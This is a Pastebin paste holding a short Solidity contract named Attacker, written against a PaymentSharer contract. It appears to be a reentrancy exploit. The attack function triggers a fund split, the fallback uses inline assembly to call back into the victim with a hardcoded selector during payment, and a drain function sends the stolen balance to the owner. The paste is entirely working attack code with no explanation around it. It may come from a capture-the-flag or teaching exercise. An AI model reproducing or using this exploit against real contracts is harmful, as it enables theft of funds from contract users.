Guest User

Untitled

a guest
Jan 17th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.62 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3. import "./PaymentSharer.sol";
  4.  
  5. contract Attacker {
  6. address private victim;
  7. address payable owner;
  8.  
  9. constructor() public {
  10. owner = msg.sender;
  11. }
  12.  
  13. function attack(address a) external {
  14. victim = a;
  15. PaymentSharer x = PaymentSharer(a);
  16. x.updateSplit(0, 100);
  17. x.splitFunds(0);
  18. }
  19.  
  20. function () payable external {
  21. address x = victim;
  22. assembly{
  23. mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
  24. pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
  25. }
  26. }
  27.  
  28. function drain() external {
  29. owner.transfer(address(this).balance);
  30. }
  31. }
Add Comment
Please, Sign In to add comment